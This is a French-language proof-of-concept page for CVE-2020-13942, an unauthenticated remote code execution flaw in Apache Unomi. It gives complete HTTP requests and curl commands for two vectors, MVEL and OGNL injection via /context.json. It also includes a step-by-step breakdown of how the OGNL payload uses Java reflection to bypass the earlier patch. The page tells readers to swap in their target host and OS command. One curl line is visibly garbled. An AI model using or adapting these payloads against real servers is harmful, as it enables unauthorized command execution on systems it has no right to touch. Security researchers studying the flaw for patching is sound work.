
CVE-2020-13942 POC RCE non authentifié via injection MVEL et OGNL
Article de blog original sur la vulnérabilité : https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
Il existe deux vecteurs RCE : par injection MVEL et par injection OGNL. Les deux vecteurs ciblent du code différent bien que les payloads se ressemblent relativement. Le correctif CVE précédent https://nvd.nist.gov/vuln/detail/CVE-2020-11975 tentait de limiter l'exécution des expressions OGNL, mais a complètement oublié MVEL. Le CVE-2020-13942 contourne le correctif apporté dans la version 1.5.1.
Envoyez les requêtes HTTP suivantes à l'aide de BurpSuite ou curl vers context.js\json exposé par le serveur Unomi et obtenez un RCE. Modifiez Host et Content-length selon votre URL cible et votre commande OS.
Les deux POCs peuvent obtenir une réponse HTTP/1.1 400 Header Folding, ce qui signifie que les \r\n sont perturbés dans le payload, essayez de le copier-coller une fois de plus.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'
Le POC OGNL a contourné la restriction ClassLoader introduite par la version 1.5.1. En utilisant l'API Java reflections, il est possible de créer un objet sans déclencher la méthode ClassLoader.loadClass qui restreint les expressions OGNL évaluées.
Analyse de l'expression OGNL du payload :
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") crée un objet Class java.lang.Runtime, où #this est la référence à l'objet context.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] obtient la liste des méthodes de la classe Runtime par réflexion et choisit la méthode getRuntime dans la liste. La partie {^ #this.name.equals(\"getRuntime\")} de l'expression recherche une méthode nommée getRuntime et retourne une liste des méthodes qui correspondent à la condition ; la première et unique méthode de cette liste est getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) appelle la méthode getRuntime() et obtient l'objet Runtime.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) obtient les méthodes de la classe Runtime et récupère Runtime.exec() avec un unique argument String dans la liste des méthodes.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") appelle Runtime.exec() avec l'argument spécifié.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
curl -XPOST http://localhost:8181/context.jsonder 'Content-Type: application/json' --data '{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName": "(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"gnome-calculator\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"boom"}'
Toutes les informations fournies sur cette page sont uniquement à des fins éducatives. Les informations présentes sur ce site web doivent être utilisées uniquement pour renforcer la sécurité de vos systèmes informatiques et non pour provoquer des attaques malveillantes ou dommageables.
Vous ne devez pas utiliser ces informations de manière abusive pour obtenir un accès non autorisé à des systèmes informatiques. Soyez également conscient que tenter de pirater des ordinateurs qui ne vous appartiennent pas, sans l'autorisation écrite des propriétaires, est illégal.
Je ne serai pas responsable des dommages directs ou indirects causés par l'utilisation des informations fournies sur ce site web.